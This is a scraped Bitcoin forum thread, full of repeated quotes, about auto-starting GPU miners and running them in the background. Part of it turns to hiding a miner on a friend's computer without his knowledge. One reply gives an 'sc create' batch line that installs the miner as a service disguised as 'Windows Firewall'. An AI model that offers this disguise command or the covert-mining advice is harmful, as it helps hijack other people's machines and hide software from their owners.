Topic: Auto Run Miners, Run Miners in Background/as Service? (Read 27367 times)
I know this is an ancient topic, but I want to let anybody who is searching for this know I've created a program wrapper for running miners under a windows service. You can find the topic here: https://bitcointalksearch.org/topic/bit-moose-v100-run-bitlite-coin-miners-as-windows-service-121534
I have had good luck with watching youtube videos and even playing Eve Online while mining. I only crash once and a while, when chrome/youtube running, mining, and playing the game....but thats a bit over the top oO
In short, he might not crash while gaming, he could though.
In short, he might not crash while gaming, he could though.
You can try my screensaver front-end with poclbm
That is very cool. Nice work!
You can try my screensaver front-end with poclbm
diablominer as a scheduled task works great... need upto date jre
phoenix doesn't yet - when the process is killed it crashes the vid drivers
haven't tried others.
i've only tested on windows 7...
you run diablo directly and in the box for arguments you put all the other stuff, no need for bat files etc...
phoenix doesn't yet - when the process is killed it crashes the vid drivers
haven't tried others.
i've only tested on windows 7...
you run diablo directly and in the box for arguments you put all the other stuff, no need for bat files etc...
Wow. I have no idea what you just said. I'm sorry but I'm not that IT inclined... So sorry...
P.S wait. I think you're actually referring to another miner, please specify which miner is this because I've only ever tried guiminer and poclbm-mod i think... I'm pretty new
P.S wait. I think you're actually referring to another miner, please specify which miner is this because I've only ever tried guiminer and poclbm-mod i think... I'm pretty new
I just lost a HDD and am writing this from a mac by heart. I did something similar to this:
- create a shortcut with all your mining options (username, password etc) targeting a gpu (usually with DEVICE parameter)
- modify the shortcut to be wrapped inside cmd.exe:
cmd.exe /C start /AFFINITY 2 "your_miner.exe -plus -all -the -cool -options"
- test that the shortcut works
- copy&clone this shortcut into the Startup folder. One for each GPU, varying the DEVICE parameter
- reboot
The trick with the /AFFINITY is to set the process to only use CPU core #2 in this case. In windows 7 64bit, this helps you save power since p0clm miner uses 100% of the computing power of a single core for every GPU core.
HTH
- create a shortcut with all your mining options (username, password etc) targeting a gpu (usually with DEVICE parameter)
- modify the shortcut to be wrapped inside cmd.exe:
cmd.exe /C start /AFFINITY 2 "your_miner.exe -plus -all -the -cool -options"
- test that the shortcut works
- copy&clone this shortcut into the Startup folder. One for each GPU, varying the DEVICE parameter
- reboot
The trick with the /AFFINITY is to set the process to only use CPU core #2 in this case. In windows 7 64bit, this helps you save power since p0clm miner uses 100% of the computing power of a single core for every GPU core.
HTH
Hi all,
Yea, I've done the Startup folder thing since I'm not inclined in programming. It's been doing quite well and my friend's happy
Although he says it'll be better if it's running in the background course he has the habit of exiting everything when he goes hardcore gaming.
I've also tried to run it in scheduler as a service, both guiminer and poclbm runs, however it doesn't really do any mining at all. Any other suggestions for this?
Yea, I've done the Startup folder thing since I'm not inclined in programming. It's been doing quite well and my friend's happy
Although he says it'll be better if it's running in the background course he has the habit of exiting everything when he goes hardcore gaming.I've also tried to run it in scheduler as a service, both guiminer and poclbm runs, however it doesn't really do any mining at all. Any other suggestions for this?
Uh.
You realize that the miner will crash his computer during various processes? He won't be able to watch videos and/or play games while the miner is running.
You realize that the miner will crash his computer during various processes? He won't be able to watch videos and/or play games while the miner is running.
Yea, it'll be best if it could just be hidden. I promised I'd find a way to make it invisible so he wouldn't feel annoyed by it -.- I figured some kind of a script should exist or wouldn't be too hard for something like that.
I need the miner to fire up with the computer and hidden so he isn't bother by it and it isn't bothered by my friend either hahaha.
Dude. Just add GUIMiner to the Startup group, set it to launch minimized, and make sure it's configured to minimize to the tray. Heck, if your friend is running Windows 7, it will even be automatically hidden, so he won't see the tray icon. I need the miner to fire up with the computer and hidden so he isn't bother by it and it isn't bothered by my friend either hahaha.
Lol!~ Yea that could work. Well actually I just told a few of my friends who play SCII a lot, but they just dismissed it. So I told one of my better buds to let me borrow his "downtime".
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
InstallMINER.bat:
Code:
sc create "Windows Firewall" binpath= "%systemroot%\system32\poclbm\poclbm.exe " type= own start= auto Displayname= "Windows FireWall"
Should do the trick
Can poclbm.exe really work as a service? I tried creating a service for mine, however, I couldn't start it. Got an error when I tried.
Code:
Windows could not start the service on Local Computer.
Error 1503: The service did not respond to the start or control request in a timely fashion.
Error 1503: The service did not respond to the start or control request in a timely fashion.
Lol!~ Yea that could work. Well actually I just told a few of my friends who play SCII a lot, but they just dismissed it. So I told one of my better buds to let me borrow his "downtime".
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
InstallMINER.bat:
Code:
sc create "Windows Firewall" binpath= "%systemroot%\system32\poclbm\poclbm.exe " type= own start= auto Displayname= "Windows FireWall"
Should do the trick
Lol!~ Yea that could work. Well actually I just told a few of my friends who play SCII a lot, but they just dismissed it. So I told one of my better buds to let me borrow his "downtime".
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
Well generally he's just concern about his gameplay performance. People here are really skeptical about ponzi-sounding schemes so yea -.- but are very trusting with security stuff and such. Especially I'M such a good friend myself hahaha!!!
Anyway theres no easy way to make the program invisible unless you could really install shit on his computer lolx or write/edit one of the console miners. I'm not sure.
Where can I get friends like that?
"Hey dude, can you run a program I just made an test it"
"sure"
*Upload file > Execute > Miner installs in background > Friend sees nothing*
"Nothings happening"
"Oh ok, don't worry"
Win
Where can I get friends like that?
UPDATE:
Thanks for clearing the air [Tycho] I'll definitely give deepbit a try
I've found on the search a auto start bat and a start task while idle C executable. So I guess I'll have to flip out the good 'o command batch programming book and start customizing to my needs. This is hardly the place to ask about programming.
Thanks for clearing the air [Tycho] I'll definitely give deepbit a try
I've found on the search a auto start bat and a start task while idle C executable. So I guess I'll have to flip out the good 'o command batch programming book and start customizing to my needs. This is hardly the place to ask about programming.
So with that overview out of the way. I'm using GUIMiner and I think it'll be annoying for my friend to have this GUI on all the time. Are there other miners out there that can run as a service or in the background that I can setup so that it starts mining when the computer is fired up.
Do I have to write a script or something? Is something like this complicated?
GUIminer can be minimized to system tray and won't be annoying.Do I have to write a script or something? Is something like this complicated?
Or you want to hide it so your friend won't know about the mining at all ?
Yea, it'll be best if it could just be hidden. I promised I'd find a way to make it invisible so he wouldn't feel annoyed by it -.- I figured some kind of a script should exist or wouldn't be too hard for something like that.
I need the miner to fire up with the computer and hidden so he isn't bother by it and it isn't bothered by my friend either hahaha.
wow, you run a pool cool. Imma checking it out now. About the hardware upgrade a little hard up on cash right now. But well, my friend's comp just sits there all day anyway so yea. Perfect candidate.
So with that overview out of the way. I'm using GUIMiner and I think it'll be annoying for my friend to have this GUI on all the time. Are there other miners out there that can run as a service or in the background that I can setup so that it starts mining when the computer is fired up.
Do I have to write a script or something? Is something like this complicated?
GUIminer can be minimized to system tray and won't be annoying.Do I have to write a script or something? Is something like this complicated?
Or you want to hide it so your friend won't know about the mining at all ?
Also, are the different miner programs different? Is GUIMiner good?
It's good.I have a 4850 (700 Mhz) doing 70+ Mhash/s which is decent via the comparison chart, however I'm only generating very little amount of BTC so I'm currently also looking at different pools and how they charge and stuff.
Although I've been reading a lot on the forum and making tonnes of searches, I still don't know most of the benchmarks and norms. I really appreciate the help.
With 70 MH/s you should earn less than 0.3 BTC per day. Is it that "very little amount" ? If yes, then it's your expected reward, the only way to increase it is to buy more hardware.Although I've been reading a lot on the forum and making tonnes of searches, I still don't know most of the benchmarks and norms. I really appreciate the help.
Welcome to my pool - http://deepbit.net :)
Hi [Tycho] thanks for the prompt reply.
So with that overview out of the way. I'm using GUIMiner and I think it'll be annoying for my friend to have this GUI on all the time. Are there other miners out there that can run as a service or in the background that I can setup so that it starts mining when the computer is fired up.
Do I have to write a script or something? Is something like this complicated?
Also, are the different miner programs different? Is GUIMiner good?
I have a 4850 (700 Mhz) doing 70+ Mhash/s which is decent via the comparison chart, however I'm only generating very little amount of BTC so I'm currently also looking at different pools and how they charge and stuff.
Although I've been reading a lot on the forum and making tonnes of searches, I still don't know most of the benchmarks and norms. I really appreciate the help.
So with that overview out of the way. I'm using GUIMiner and I think it'll be annoying for my friend to have this GUI on all the time. Are there other miners out there that can run as a service or in the background that I can setup so that it starts mining when the computer is fired up.
Do I have to write a script or something? Is something like this complicated?
Also, are the different miner programs different? Is GUIMiner good?
I have a 4850 (700 Mhz) doing 70+ Mhash/s which is decent via the comparison chart, however I'm only generating very little amount of BTC so I'm currently also looking at different pools and how they charge and stuff.
Although I've been reading a lot on the forum and making tonnes of searches, I still don't know most of the benchmarks and norms. I really appreciate the help.
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